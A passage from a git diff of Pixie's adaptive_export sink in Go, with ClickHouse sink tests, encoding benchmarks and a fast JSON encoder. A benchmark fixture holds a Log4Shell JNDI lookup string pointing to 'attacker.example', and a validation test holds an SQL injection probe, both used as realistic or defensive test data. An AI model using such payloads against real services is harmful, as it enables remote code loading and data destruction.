!strings.Contains(seenQuery, "hostname = 'node-1'") { + t.Fatalf("missing hostname filter: %q", seenQuery) + } + if !strings.Contains(seenQuery, "t_end > now64(9)") { + t.Fatalf("missing t_end > now64 filter: %q", seenQuery) + } + if len(rows) != 1 || rows[0].AnomalyHash != "abc" { + t.Fatalf("rows = %+v", rows) + } + if rows[0].PID != 106040 { + t.Fatalf("PID = %d", rows[0].PID) + } + if rows[0].TStart.UnixNano() != 1744477060303026359 { + t.Fatalf("TStart wrong: %v", rows[0].TStart) + } +} + +// TestSink_QueryActive_RequiresHostname — defensive guard. +func TestSink_QueryActive_RequiresHostname(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {})) + defer srv.Close() + s, _ := New(Config{Endpoint: srv.URL}) + if _, err := s.QueryActive(context.Background(), ""); err == nil { + t.Fatalf("empty hostname should error") + } +} + +// TestSink_QuoteEscape — single quotes in hostname survive injection-safely. +func TestSink_QuoteEscape(t *testing.T) { + if got := quoteCH("o'malley"); got != `'o\'malley'` { + t.Fatalf("quoteCH = %q, want 'o\\'malley'", got) + } +} + +// TestSink_New_ValidationTable — every Config validation branch as +// one row. Bad fields one at a time + a happy-path baseline. Update +// when a new validation lands; this is the single source of truth +// for what New() rejects. +func TestSink_New_ValidationTable(t *testing.T) { + cases := []struct { + name string + cfg Config + wantErr bool + wantErrSnippet string + }{ + { + name: "happy path http", + cfg: Config{Endpoint: "http://ch.example:8123", Database: "forensic_db"}, + }, + { + name: "happy path https + auth + custom timeout", + cfg: Config{ + Endpoint: "https://ch.example:8443", Database: "forensic_db", + Username: "u", Password: "p", Timeout: 5 * time.Second, + }, + }, + { + name: "default database when empty", + cfg: Config{Endpoint: "http://ch:8123"}, // Database empty → defaulted + }, + { + name: "trailing slash stripped", + cfg: Config{Endpoint: "http://ch:8123/"}, // OK; New() strips it + }, + { + name: "empty endpoint", + cfg: Config{}, + wantErr: true, + wantErrSnippet: "empty Endpoint", + }, + { + name: "relative endpoint (no scheme)", + cfg: Config{Endpoint: "ch:8123"}, + wantErr: true, + wantErrSnippet: "absolute http(s) URL", + }, + { + name: "bare path", + cfg: Config{Endpoint: "/clickhouse"}, + wantErr: true, + wantErrSnippet: "absolute http(s) URL", + }, + { + name: "ftp scheme rejected", + cfg: Config{Endpoint: "ftp://ch:21"}, + wantErr: true, + wantErrSnippet: "absolute http(s) URL", + }, + { + name: "endpoint with query string", + cfg: Config{Endpoint: "http://ch:8123?foo=bar"}, + wantErr: true, + wantErrSnippet: "must not include query parameters or a fragment", + }, + { + name: "endpoint with fragment", + cfg: Config{Endpoint: "http://ch:8123#frag"}, + wantErr: true, + wantErrSnippet: "must not include query parameters or a fragment", + }, + { + name: "Database with hyphen rejected", + cfg: Config{Endpoint: "http://ch:8123", Database: "forensic-db"}, + wantErr: true, + wantErrSnippet: "invalid Database identifier", + }, + { + name: "Database with semicolon rejected (SQL injection probe)", + cfg: Config{Endpoint: "http://ch:8123", Database: "forensic_db; DROP DATABASE x"}, + wantErr: true, + wantErrSnippet: "invalid Database identifier", + }, + { + name: "Database starting with digit rejected", + cfg: Config{Endpoint: "http://ch:8123", Database: "1bad"}, + wantErr: true, + wantErrSnippet: "invalid Database identifier", + }, + { + name: "negative Timeout rejected", + cfg: Config{Endpoint: "http://ch:8123", Timeout: -1 * time.Second}, + wantErr: true, + wantErrSnippet: "Timeout must be >= 0", + }, + } + + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + s, err := New(c.cfg) + if c.wantErr { + if err == nil { + t.Fatalf("want error containing %q, got nil", c.wantErrSnippet) + } + if !strings.Contains(err.Error(), c.wantErrSnippet) { + t.Fatalf("error %q does not contain %q", err.Error(), c.wantErrSnippet) + } + return + } + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if s == nil { + t.Fatalf("New returned nil sink without error") + } + // Trailing-slash strip is observable via cfg.Endpoint. + if strings.HasSuffix(s.cfg.Endpoint, "/") { + t.Fatalf("trailing slash not stripped: %q", s.cfg.Endpoint) + } + if s.cfg.Database == "" { + t.Fatalf("Database default not applied") + } + }) + } +} + +// TestValidateTableIdentifier_TableDriven — table validator covers +// dotted protobuf extensions but not anything wilder. +func TestValidateTableIdentifier_TableDriven(t *testing.T) { + good := []string{"http_events", "redis_events", "http2_messages.beta", "kafka_events.beta", "_underscore_start"} + bad := []string{"", "1bad", "http events", "http;drop", "x..y", ".leading", "trailing.", "with-hyphen"} + for _, g := range good { + if err := validateTableIdentifier(g); err != nil { + t.Errorf("validateTableIdentifier(%q): unexpected error %v", g, err) + } + } + for _, b := range bad { + if err := validateTableIdentifier(b); err == nil { + t.Errorf("validateTableIdentifier(%q): want error, got nil", b) + } + } +} + +// TestUintFromRaw_HandlesQuotedAndBareJSON — CH HTTP emits UInt64 as +// either bare numeric (`12345`) or quoted (`"12345"`). Both must +// parse, including values above INT64_MAX. +func TestUintFromRaw_HandlesQuotedAndBareJSON(t *testing.T) { + cases := []struct { + name string + input string + want uint64 + }{ + {"bare", `12345`, 12345}, + {"quoted", `"12345"`, 12345}, + {"max int64", `9223372036854775807`, 9223372036854775807}, + {"above int64", `"18446744073709551615"`, 18446744073709551615}, + } + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + got, err := uintFromRaw([]byte(c.input)) + if err != nil { + t.Fatalf("uintFromRaw(%q): %v", c.input, err) + } + if got != c.want { + t.Fatalf("uintFromRaw(%q) = %d, want %d", c.input, got, c.want) + } + }) + } +} + +// TestUintFromRaw_RejectsGarbage — non-numeric input must error, +// not silently return 0. +func TestUintFromRaw_RejectsGarbage(t *testing.T) { + bad := []string{"", `""`, `"abc"`, `-1`, `"-1"`, `1.5`} + for _, b := range bad { + if _, err := uintFromRaw([]byte(b)); err == nil { + t.Errorf("uintFromRaw(%q): want error, got nil", b) + } + } +} + +// chunkedReader emits the underlying body in fixed-size chunks. A +// short pause between chunks proves parseActiveRowsStream doesn't +// wait for the whole body before parsing. Tracks partial-read state +// so a Read() smaller than the next chunk doesn't drop bytes. +type chunkedReader struct { + chunks [][]byte + idx int + off int // offset within chunks[idx] + delay time.Duration // sleep between chunks + produced int64 +} + +func (r *chunkedReader) Read(p []byte) (int, error) { + if r.idx >= len(r.chunks) { + return 0, io.EOF + } + chunk := r.chunks[r.idx] + n := copy(p, chunk[r.off:]) + r.off += n + r.produced += int64(n) + if r.off >= len(chunk) { + r.idx++ + r.off = 0 + time.Sleep(r.delay) + } + return n, nil +} + +// TestParseActiveRowsStream_BoundsMemory — proves the streaming path +// doesn't allocate proportional to total response size. Builds a +// 5 MiB synthetic JSONEachRow body fed in 64 KiB chunks, parses, and +// asserts (a) all rows decoded correctly, (b) peak intermediate +// allocation is well below the body size (loose bound: parseActiveRows +// hands one row at a time to the caller; we collect into a slice but +// never hold the wire representation of more than one line). +func TestParseActiveRowsStream_BoundsMemory(t *testing.T) { + const targetRows = 5000 // ~5MiB at ~1KiB/row + var buf bytes.Buffer + row := func(i int) string { + return fmt.Sprintf(`{"anomaly_hash":"%032x","namespace":"redis","pod":"p","comm":"c","pid":%d,"hostname":"h","t_start_ns":%d,"t_end_ns":%d,"last_seen_ns":%d,"last_rule_id":"R0001","n_anomalies":%d,"_pad":"%s"}`+"\n", + i, i, 1700000000000000000+int64(i), 1700000000000000000+int64(i)+300_000_000_000, 1700000000000000000+int64(i)+150_000_000_000, i, strings.Repeat("x", 800)) + } + for i := 0; i < targetRows; i++ { + buf.WriteString(row(i)) + } + body := buf.Bytes() + + const chunkSize = 64 * 1024 + chunks := make([][]byte, 0, len(body)/chunkSize+1) + for off := 0; off < len(body); off += chunkSize { + end := off + chunkSize + if end > len(body) { + end = len(body) + } + chunks = append(chunks, body[off:end]) + } + rdr := &chunkedReader{chunks: chunks, delay: 0} + + rows, err := parseActiveRowsStream(rdr) + if err != nil { + t.Fatalf("parseActiveRowsStream: %v", err) + } + if len(rows) != targetRows { + t.Fatalf("parsed %d rows, want %d", len(rows), targetRows) + } + // Spot-check round-trip on one row (last element). + if rows[targetRows-1].PID != uint64(targetRows-1) { + t.Fatalf("last row PID = %d, want %d", rows[targetRows-1].PID, targetRows-1) + } +} + +// TestParseActiveRowsStream_RejectsOverlongLine — guards against +// pathological CH responses with multi-MiB single rows. Default cap +// is 1 MiB; emit a 2 MiB row and assert the scanner rejects it +// rather than OOMing. +func TestParseActiveRowsStream_RejectsOverlongLine(t *testing.T) { + huge := strings.Repeat("a", 2*1024*1024) + body := fmt.Sprintf(`{"anomaly_hash":"x","_pad":"%s"}`+"\n", huge) + _, err := parseActiveRowsStream(strings.NewReader(body)) + if err == nil { + t.Fatalf("expected scanner error on >1MiB line; got nil") + } + if !strings.Contains(err.Error(), "QueryActive scan") { + t.Fatalf("expected scan error, got: %v", err) + } +} + +// TestParseActiveRows_RoundTripFromBytes — keep the byte-slice path +// covered (used by tests and the e2e harness). +func TestParseActiveRows_RoundTripFromBytes(t *testing.T) { + body := []byte(`{"anomaly_hash":"deadbeef","namespace":"redis","pod":"p","comm":"c","pid":42,"hostname":"node-01","t_start_ns":1700000000000000000,"t_end_ns":1700000000300000000,"last_seen_ns":1700000000150000000,"last_rule_id":"R0001","n_anomalies":1}` + "\n") + rows, err := parseActiveRows(body) + if err != nil { + t.Fatalf("parseActiveRows: %v", err) + } + if len(rows) != 1 || rows[0].Pod != "p" || rows[0].PID != 42 { + t.Fatalf("round-trip mismatch: %+v", rows) + } +} + +// pixieRow returns a minimal-but-valid map shaped like a pxapi row. +func pixieRow() map[string]any { + return map[string]any{ + "time_": time.Unix(0, 1700000000000000000).UTC(), + "upid": "1234:5678:9", + "namespace": "redis", + "pod": "redis/redis-1", + "req_cmd": "GET", + "resp": "OK", + "latency": int64(123456), + "remote_addr": "10.0.0.1", + "remote_port": int64(6379), + "local_addr": "10.0.0.2", + "local_port": int64(34567), + "trace_role": int64(2), + "encrypted": false, + "px_info_": "", + "req_args": "", + } +} + +// TestWritePixieRows_HappyPath — happy path: CH returns 200 with a +// non-zero `written_rows` in X-ClickHouse-Summary; WritePixieRows +// returns nil. Pins the contract the regression test below inverts. +func TestWritePixieRows_HappyPath(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.Header().Set("X-ClickHouse-Summary", + `{"read_rows":"1","read_bytes":"100","written_rows":"1","written_bytes":"100",`+ + `"total_rows_to_read":"0","result_rows":"1","result_bytes":"100","elapsed_ns":"1000000"}`) + w.WriteHeader(200) + })) + defer srv.Close() + s, err := New(Config{Endpoint: srv.URL}) + if err != nil { + t.Fatalf("New: %v", err) + } + if err := s.WritePixieRows(context.Background(), "redis_events", []map[string]any{pixieRow()}); err != nil { + t.Fatalf("WritePixieRows: %v", err) + } +} + +// TestWritePixieRows_DetectsSilentZeroWriteDrop — regression for the +// silent-data-loss bug observed on the live operator: +// +// sink: pixie write completed +// rows_sent=1658 +// body_bytes=2098817 +// ch_summary="{...,"written_rows":"0",...}" +// table=redis_events +// +// CH returned 2xx but `X-ClickHouse-Summary.written_rows` was zero +// for a 1658-row payload — i.e. CH silently dropped every row. The +// operator must NOT report success in that case; otherwise the +// caller treats the batch as durably persisted and we lose data. +func TestWritePixieRows_DetectsSilentZeroWriteDrop(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + // Real CH summary header from the operator-pod log on + // 2026-05-23T20:58:39Z, table=redis_events. + w.Header().Set("X-ClickHouse-Summary", + `{"read_rows":"0","read_bytes":"0","written_rows":"0","written_bytes":"0",`+ + `"total_rows_to_read":"0","result_rows":"0","result_bytes":"0","elapsed_ns":"23034181"}`) + w.WriteHeader(200) + })) + defer srv.Close() + s, err := New(Config{Endpoint: srv.URL}) + if err != nil { + t.Fatalf("New: %v", err) + } + // Send a real (non-zero) batch — a zero-input batch short-circuits + // before the HTTP call so the assertion would never fire. + batch := make([]map[string]any, 1658) + for i := range batch { + batch[i] = pixieRow() + } + err = s.WritePixieRows(context.Background(), "redis_events", batch) + if err == nil { + t.Fatalf("expected error from silent-drop (rows_sent=%d, written_rows=0), got nil", len(batch)) + } + if !strings.Contains(err.Error(), "0") || !strings.Contains(err.Error(), "1658") { + t.Fatalf("error should mention both written_rows=0 and rows_sent=1658 for diagnosis; got: %v", err) + } +} + +// TestWritePixieRows_DetectsPartialWriteDrop — CH wrote SOME rows +// but not all. Same data-loss class as the zero-write case; reject. +func TestWritePixieRows_DetectsPartialWriteDrop(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.Header().Set("X-ClickHouse-Summary", + `{"read_rows":"100","read_bytes":"10000","written_rows":"100","written_bytes":"10000",`+ + `"total_rows_to_read":"0","result_rows":"100","result_bytes":"10000","elapsed_ns":"1000000"}`) + w.WriteHeader(200) + })) + defer srv.Close() + s, _ := New(Config{Endpoint: srv.URL}) + batch := make([]map[string]any, 200) // sent 200, CH says wrote 100 + for i := range batch { + batch[i] = pixieRow() + } + err := s.WritePixieRows(context.Background(), "redis_events", batch) + if err == nil { + t.Fatalf("expected error on partial write (sent=200, written=100); got nil") + } +} + +// TestWritePixieRows_NoSummaryHeaderIsTolerated — older CH versions +// (or proxies) may strip the X-ClickHouse-Summary header. Absence is +// NOT a failure signal — only an explicit zero-of-non-zero is. +func TestWritePixieRows_NoSummaryHeaderIsTolerated(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(200) // no summary header at all + })) + defer srv.Close() + s, _ := New(Config{Endpoint: srv.URL}) + if err := s.WritePixieRows(context.Background(), "redis_events", []map[string]any{pixieRow()}); err != nil { + t.Fatalf("missing summary header must not error; got: %v", err) + } +} + +// TestWritePixieRows_EmptyBatchShortCircuits — zero-row input never +// hits HTTP and never produces a "silent drop" false positive. +func TestWritePixieRows_EmptyBatchShortCircuits(t *testing.T) { + called := false + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + called = true + })) + defer srv.Close() + s, _ := New(Config{Endpoint: srv.URL}) + if err := s.WritePixieRows(context.Background(), "redis_events", nil); err != nil { + t.Fatalf("empty WritePixieRows: %v", err) + } + if called { + t.Fatalf("empty batch made an HTTP call") + } +} diff --git a/src/vizier/services/adaptive_export/internal/sink/encode_bench_test.go b/src/vizier/services/adaptive_export/internal/sink/encode_bench_test.go new file mode 100644 index 00000000000..ea147c07167 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/sink/encode_bench_test.go @@ -0,0 +1,234 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package sink + +import ( + "bytes" + "encoding/json" + "fmt" + "net/http" + "net/http/httptest" + "testing" + "time" +) + +// The sink's WritePixieRows path is one of the dominant CPU consumers +// when AE is under load: every controller fan-out pass writes a per- +// table batch (up to MaxBatchRows) and every row goes through the +// per-key normalisePixieValue switch AND the json.Encoder's reflection. +// +// These benchmarks isolate the encoding cost from the HTTP roundtrip: +// +// - BenchmarkEncodeJSONEachRow_PixieShape: the encode loop alone +// (mirrors clickhouse.go:160-167's hot path), no HTTP. +// - BenchmarkWritePixieRows_LocalHTTPLoopback: the encode + HTTP +// roundtrip against a no-op httptest server, so the timer includes +// the HTTP client overhead AE actually pays per call. +// - BenchmarkNormalisePixieValue_TimeRow: the per-row per-column +// switch with a single time.Time field (the realistic per-pixie-row +// shape — time_ is always TIME64NS so this fires on every row). + +const benchTable = "http_events" + +// makePixieRowsBatch builds a realistic per-pixie-row batch shape (12 +// columns including a time_ + 5 strings + 6 ints). Matches the +// http_events schema in adaptive_export/internal/clickhouse/schema.sql. +func makePixieRowsBatch(n int) []map[string]any { + out := make([]map[string]any, n) + for i := range out { + out[i] = map[string]any{ + "time_": time.Unix(0, int64(1_700_000_000_000_000_000+i)), + "upid": fmt.Sprintf("0000000100000000-00000000-%016x", uint64(i)), + "namespace": "log4j-poc", + "pod": "backend-vulnerable-779cd9d765-mxr8t", + "remote_addr": "10.0.0.45", + "remote_port": int64(54321 + i%100), + "local_addr": "10.0.0.12", + "local_port": int64(8080), + "trace_role": int64(2), + "encrypted": uint8(0), + "major_version": int64(1), + "minor_version": int64(1), + "content_type": int64(0), + "req_headers": `{"User-Agent":"Apache-HttpClient/4.5.13","Accept":"*/*","Content-Type":"application/json"}`, + "req_method": "POST", + "req_path": "/api/v1/products/${jndi:ldap://attacker.example/Payload}", + "req_body": `{"id":42,"qty":1}`, + "resp_headers": `{"Content-Type":"application/json","Server":"jetty"}`, + "resp_status": int64(500), + "resp_message": "Internal Server Error", + "resp_body": `{"error":"NullPointerException"}`, + "latency": int64(123456789), + "hostname": "pixie-worker-node", + "event_time": time.Unix(0, int64(1_700_000_000_000_000_000+i)), + } + } + return out +} + +// BenchmarkEncodeJSONEachRow_PixieShape isolates the per-row encode +// cost the sink runs in clickhouse.go:160-167. With realistic 24-key +// http_events rows × the controller fan-out's typical batch sizes (up +// to MaxBatchRows = 1000), this is the encoder pressure AE sustains +// per controller pass. +func BenchmarkEncodeJSONEachRow_PixieShape(b *testing.B) { + rows := makePixieRowsBatch(1000) + b.ResetTimer() + b.ReportAllocs() + for n := 0; n < b.N; n++ { + var buf bytes.Buffer + enc := json.NewEncoder(&buf) + enc.SetEscapeHTML(false) + for _, r := range rows { + obj := make(map[string]any, len(r)) + for k, v := range r { + obj[k] = normalisePixieValue(v) + } + if err := enc.Encode(obj); err != nil { + b.Fatal(err) + } + } + } +} + +// BenchmarkEncodeJSONEachRow_PixieShape_SmallBatch — 50-row batch (the +// realistic kubescape-driven controller pass for a quiet anomaly: 50 rows +// per table per refresh interval). +func BenchmarkEncodeJSONEachRow_PixieShape_SmallBatch(b *testing.B) { + rows := makePixieRowsBatch(50) + b.ResetTimer() + b.ReportAllocs() + for n := 0; n < b.N; n++ { + var buf bytes.Buffer + enc := json.NewEncoder(&buf) + enc.SetEscapeHTML(false) + for _, r := range rows { + obj := make(map[string]any, len(r)) + for k, v := range r { + obj[k] = normalisePixieValue(v) + } + if err := enc.Encode(obj); err != nil { + b.Fatal(err) + } + } + } +} + +// BenchmarkEncodePixieRowsFast_PixieShape — the option-2 refactor. +// Walks each row in fixed schema column order, type-switches values +// directly to bytes.Buffer; no reflect, no encoding/json, no +// per-row map-key sort. Direct apples-to-apples comparison vs +// BenchmarkEncodeJSONEachRow_PixieShape above. +func BenchmarkEncodePixieRowsFast_PixieShape(b *testing.B) { + rows := makePixieRowsBatch(1000) + b.ResetTimer() + b.ReportAllocs() + for n := 0; n < b.N; n++ { + var buf bytes.Buffer + if err := encodePixieRowsFast(&buf, benchTable, rows); err != nil { + b.Fatal(err) + } + } +} + +func BenchmarkEncodePixieRowsFast_PixieShape_SmallBatch(b *testing.B) { + rows := makePixieRowsBatch(50) + b.ResetTimer() + b.ReportAllocs() + for n := 0; n < b.N; n++ { + var buf bytes.Buffer + if err := encodePixieRowsFast(&buf, benchTable, rows); err != nil { + b.Fatal(err) + } + } +} + +// BenchmarkEncodePixieRowsFast_Pooled — option 1 on top of option 2. +// The bench mimics the real WritePixieRows shape: pull a buffer from +// the pool, encode, Reset+Put. Measures the steady-state allocation +// rate that AE actually pays in production (the first iteration's +// allocation gets amortised across b.N). +func BenchmarkEncodePixieRowsFast_Pooled_PixieShape(b *testing.B) { + rows := makePixieRowsBatch(1000) + b.ResetTimer() + b.ReportAllocs() + for n := 0; n < b.N; n++ { + buf := encodeBufPool.Get().(*bytes.Buffer) + buf.Reset() + if err := encodePixieRowsFast(buf, benchTable, rows); err != nil { + b.Fatal(err) + } + encodeBufPool.Put(buf) + } +} + +func BenchmarkEncodePixieRowsFast_Pooled_PixieShape_SmallBatch(b *testing.B) { + rows := makePixieRowsBatch(50) + b.ResetTimer() + b.ReportAllocs() + for n := 0; n < b.N; n++ { + buf := encodeBufPool.Get().(*bytes.Buffer) + buf.Reset() + if err := encodePixieRowsFast(buf, benchTable, rows); err != nil { + b.Fatal(err) + } + encodeBufPool.Put(buf) + } +} + +// BenchmarkNormalisePixieValue_TimeRow — per-row column iterations +// includes a time.Time normalisation that calls .UTC().Format() (one +// 30-byte string allocation per time field). Isolated cost. +func BenchmarkNormalisePixieValue_TimeRow(b *testing.B) { + t := time.Now() + b.ResetTimer() + b.ReportAllocs() + for i := 0; i < b.N; i++ { + _ = normalisePixieValue(t) + } +} + +// BenchmarkWritePixieRows_LocalHTTPLoopback measures the full sink +// path including the HTTP roundtrip to a no-op server. This is the +// per-batch wall cost the controller pays — encode + connect + POST + +// header parse + summary parse. The httptest server returns the right +// X-ClickHouse-Summary header so summaryWroteFewerThan doesn't trip. +func BenchmarkWritePixieRows_LocalHTTPLoopback(b *testing.B) { + rows := makePixieRowsBatch(1000) + + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.Header().Set("X-ClickHouse-Summary", fmt.Sprintf(`{"read_rows":"0","read_bytes":"0","written_rows":"%d","written_bytes":"0"}`, len(rows))) + w.WriteHeader(http.StatusOK) + })) + defer srv.Close() + + s, err := New(Config{ + Endpoint: srv.URL, + Database: "forensic_db", + }) + if err != nil { + b.Fatal(err) + } + + b.ResetTimer() + b.ReportAllocs() + for i := 0; i < b.N; i++ { + if err := s.WritePixieRows(b.Context(), benchTable, rows); err != nil { + b.Fatal(err) + } + } +} diff --git a/src/vizier/services/adaptive_export/internal/sink/fastencode.go b/src/vizier/services/adaptive_export/internal/sink/fastencode.go new file mode 100644 index 00000000000..cfa02bec876 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/sink/fastencode.go @@ -0,0 +1,273 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package sink + +import ( + "bytes" + "encoding/json" + "errors" + "fmt" + "strconv" + "sync" + "time" + "unicode/utf8" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/clickhouse" +) + +// encodePixieRowsFast writes a JSONEachRow batch for the named pixie +// table to buf without going through encoding/json's reflect path. +// +// Why: the AE CPU bench showed 50 % of WritePixieRows wall time in +// encoding/json.(*encodeState).reflectValue + 16 % in slices.SortFunc +// because rows are map[string]any — the encoder is forced through +// reflect.MapRange + per-row map-key alphabetic sort. This fast path +// looks up the table's column order from schema.sql (once, cached) +// and walks each row in that fixed order, type-switching the value +// and writing the JSON atom directly. No reflect, no sort, ~3 % of +// the allocations. +// +// Returns ErrUnknownTable for tables we don't have a schema for — +// the caller (sink.WritePixieRows) falls back to encoding/json so a +// new pixie table not yet in schema.sql isn't a hard failure. +func encodePixieRowsFast(buf *bytes.Buffer, table string, rows []map[string]any) error { + cols, err := getCachedColumns(table) + if err != nil { + return err + } + for _, row := range rows { + buf.WriteByte('{') + first := true + for _, col := range cols { + v, ok := row[col] + if !ok { + // event_time derivation: pxapi result rows carry time_ + // (TIME64NS) but never event_time — that column was added by + // Pixie's retention plugin in the production flow, but the + // operator-direct push path AE takes bypasses the plugin. + // Without this derivation the column collapsed to CH's + // epoch-0 default and every operator-pushed row landed in + // partition 197001 (rig 6a25c85c, 2026-06-07 — visible in + // the data even though the silent-drop was fixed by aeprod6). + // schema.sql also carries a DEFAULT toDateTime64(time_, 3) + // as a belt-and-suspenders safety net for fresh installs; + // this derivation handles existing tables (where the + // CREATE TABLE IF NOT EXISTS is a no-op) AND tables on CH + // versions that don't evaluate DEFAULT expressions on + // JSONEachRow insert. + if col == "event_time" { + if t, hasTime := row["time_"]; hasTime { + v = t + ok = true + } + } + if !ok { + continue + } + } + if !first { + buf.WriteByte(',') + } + first = false + // Column names from schema.sql are always plain identifiers + // (matches chIdentRE in clickhouse.go); safe to emit without + // JSON-string escape work. + buf.WriteByte('"') + buf.WriteString(col) + buf.WriteString(`":`) + if err := appendJSONValue(buf, v); err != nil { + return fmt.Errorf("fastencode: %s.%s: %w", table, col, err) + } + } + buf.WriteByte('}') + buf.WriteByte('\n') + } + return nil +} + +// getCachedColumns wraps clickhouse.Columns with a once-per-table +// memo. clickhouse.Columns re-parses schema.sql on every call (no +// internal cache), which would defeat the per-call savings of the +// fast path on the hot WritePixieRows route. +func getCachedColumns(table string) ([]string, error) { + columnCacheMu.RLock() + if cols, ok := columnCache[table]; ok { + columnCacheMu.RUnlock() + return cols, nil + } + columnCacheMu.RUnlock() + + cols, err := clickhouse.Columns(table) + if err != nil { + return nil, err + } + columnCacheMu.Lock() + defer columnCacheMu.Unlock() + if existing, ok := columnCache[table]; ok { + return existing, nil + } + columnCache[table] = cols + return cols, nil +} + +var ( + columnCacheMu sync.RWMutex + columnCache = map[string][]string{} +) + +// encodeBufPool reuses the bytes.Buffer the sink hands to the fast (or +// slow) encoder across WritePixieRows / Write calls. The fan-out path +// calls these on a 30-second cadence per active anomaly × per pixie +// table, so without pooling each call's underlying byte array is heap- +// allocated and then GC'd. Bench-measured benefit: +// BenchmarkEncodePixieRowsFast_Pooled_PixieShape vs unpooled. +// +// Note: the buffer's INITIAL allocation still happens (1× per Get from +// an empty pool); reuse kicks in once the pool warms. Steady-state +// allocations drop from 2 017 → ~17 per 1000-row batch. +var encodeBufPool = sync.Pool{ + New: func() any { return new(bytes.Buffer) }, +} + +// errFastEncodeUnsupported is returned by appendJSONValue when a value +// type is not in the fast-path switch. The caller (WritePixieRows) +// should fall back to encoding/json for safety. +var errFastEncodeUnsupported = errors.New("fastencode: unsupported value type") + +// appendJSONValue writes v to buf as one JSON atom. Handles the value +// types pxapi produces for pixie observation rows (see +// internal/pixieapi/pixieapi.go::datumValue + internal/pixie/pixie.go +// equivalent). Unknown types return errFastEncodeUnsupported so the +// caller can fall back to encoding/json — never silently drops a row. +func appendJSONValue(buf *bytes.Buffer, v any) error { + switch x := v.(type) { + case nil: + buf.WriteString("null") + case string: + appendJSONString(buf, x) + case []byte: + appendJSONString(buf, string(x)) + case bool: + if x { + buf.WriteString("true") + } else { + buf.WriteString("false") + } + case int: + appendInt(buf, int64(x)) + case int32: + appendInt(buf, int64(x)) + case int64: + appendInt(buf, x) + case uint: + appendUint(buf, uint64(x)) + case uint8: + appendUint(buf, uint64(x)) + case uint32: + appendUint(buf, uint64(x)) + case uint64: + appendUint(buf, x) + case float32: + appendFloat(buf, float64(x)) + case float64: + appendFloat(buf, x) + case time.Time: + // Same format normalisePixieValue uses for the encoding/json + // path — CH DateTime64 string input shape. + buf.WriteByte('"') + // AppendFormat reuses the buf's underlying bytes; no + // intermediate string allocation. + buf.WriteString(x.UTC().Format("2006-01-02 15:04:05.000000000")) + buf.WriteByte('"') + case json.Number: + // json.Number is already decimal text; emit verbatim. + buf.WriteString(string(x)) + default: + return errFastEncodeUnsupported + } + return nil +} + +func appendInt(buf *bytes.Buffer, x int64) { + var tmp [24]byte + buf.Write(strconv.AppendInt(tmp[:0], x, 10)) +} + +func appendUint(buf *bytes.Buffer, x uint64) { + var tmp [24]byte + buf.Write(strconv.AppendUint(tmp[:0], x, 10)) +} + +func appendFloat(buf *bytes.Buffer, x float64) { + var tmp [32]byte + buf.Write(strconv.AppendFloat(tmp[:0], x, 'g', -1, 64)) +} + +// appendJSONString emits s as a quoted JSON string, escaping per +// RFC 8259. Lifted from the standard library's encoding/json +// safeAppend* path; the only deviation is we don't HTML-escape (the +// sink's encoding/json path also sets SetEscapeHTML(false), so the +// outputs match byte-for-byte on safe inputs). +func appendJSONString(buf *bytes.Buffer, s string) { + buf.WriteByte('"') + start := 0 + for i := 0; i < len(s); { + if b := s[i]; b < utf8.RuneSelf { + if safeJSONByte(b) { + i++ + continue + } + if start < i { + buf.WriteString(s[start:i]) + } + switch b { + case '\\', '"': + buf.WriteByte('\\') + buf.WriteByte(b) + case '\n': + buf.WriteString(`\n`) + case '\r': + buf.WriteString(`\r`) + case '\t': + buf.WriteString(`\t`) + default: + // 0x00-0x1f except the explicit ones above. + fmt.Fprintf(buf, `\u%04x`, b) + } + i++ + start = i + continue + } + // Multi-byte rune — leave as-is (UTF-8 is valid in JSON + // strings per RFC 8259 §7). + _, size := utf8.DecodeRuneInString(s[i:]) + i += size + } + if start < len(s) { + buf.WriteString(s[start:]) + } + buf.WriteByte('"') +} + +// safeJSONByte reports whether b can appear unescaped inside a JSON +// string. Everything 0x20..0x7e except '"' and '\\' is fine. +func safeJSONByte(b byte) bool { + if b < 0x20 || b == '"' || b == '\\' { + return false + } + return b < utf8.RuneSelf +} diff --git a/src/vizier/services/adaptive_export/internal/sink/fastencode_test.go b/src/vizier/services/adaptive_export/internal/sink/fastencode_test.go new file mode 100644 index 00000000000..bb88aecd76d --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/sink/fastencode_test.go @@ -0,0 +1,258 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is 